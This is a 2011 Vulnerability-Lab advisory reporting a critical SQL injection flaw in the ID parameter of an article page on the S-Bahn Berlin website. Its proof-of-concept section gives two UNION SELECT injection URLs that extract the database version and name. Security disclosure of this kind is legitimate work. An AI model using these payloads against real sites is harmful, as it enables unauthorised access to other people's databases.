Document Title: =============== S Bahn VB Berlin - Remote SQL Injection Vulnerability Release Date: ============= 2011-08-15 Vulnerability Laboratory ID (VL-ID): ==================================== 168 Product & Service Introduction: =============================== S-Bahn Berlin GmbH - Nahverkehrs-Dienstleister Ein modernes Verkehrsunternehmen für die Region Berlin und Brandenburg. Durchschnittlich 1,3 Millionen Fahrgäste nutzen täglich die Berliner S-Bahn. Die S-Bahn Berlin GmbH ist eine 100-prozentige Tochter der DB Mobility Logistics AG, in der die Mobilitäts- und Logistikaktivitäten des DB-Konzerns zusammengefasst wurden. Am 1. Januar 1995 wurde sie als GmbH gegründet und ist seit 2004 dem Geschäftsfeld DB Stadtverkehr zugeordnet.Die S-Bahn Berlin GmbH ist ein modernes und kundenorientiertes Unternehmen, das auf eine lange Tradition zurückblickt. Seit nunmehr fast 84 Jahren ist die Berliner S-Bahn integraler Bestandteil des leistungsfähigen Nahverkehrssystems in der Hauptstadtregion. (Copy of the Vendors Homepage: http://www.s-bahn-berlin.de/) Abstract Advisory Information: ============================== An anonymous laboratory researcher discovered a blind SQL Injection vulnerability on the official S-Bahn Verkehrsbetriebe Berlin Website (DB). Vulnerability Disclosure Timeline: ================================== 2011-08-15: Public or Non-Public Disclosure Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Critical Technical Details & Description: ================================ A SQL Injection Vulnerability is detected on S-Bahn VB Berlin website. An unsecure parameter request allows a remote attacker to implement/execute own sql statements via sql-injection. Vulnerable Module(s): [+] artikel_anzeige Vulnerable Para: [+] ID= Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers. For demonstration or reproduce ... Path: /aktuell/ File: artikel_anzeige.php Para: ?ID= Pictures: ../sql1.png http://www.s-bahn-xxx.de/aktuell/artikel_anzeige.php?ID=-2031 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,version(),31,32,33,34 http://www.s-bahn-xxx.de/aktuell/artikel_anzeige.php?ID=-2031 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26,27,28,29,database(),31,32,33,34 Solution - Fix & Patch: ======================= 2011-04-30 Security Risk: ============== The security risk of the remote sql injection vulnerability is estimated as critical. Credits & Authors: ================== Vulnerability Research Laboratory - N/A Anonymous Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright © 2012 | Vulnerability Laboratory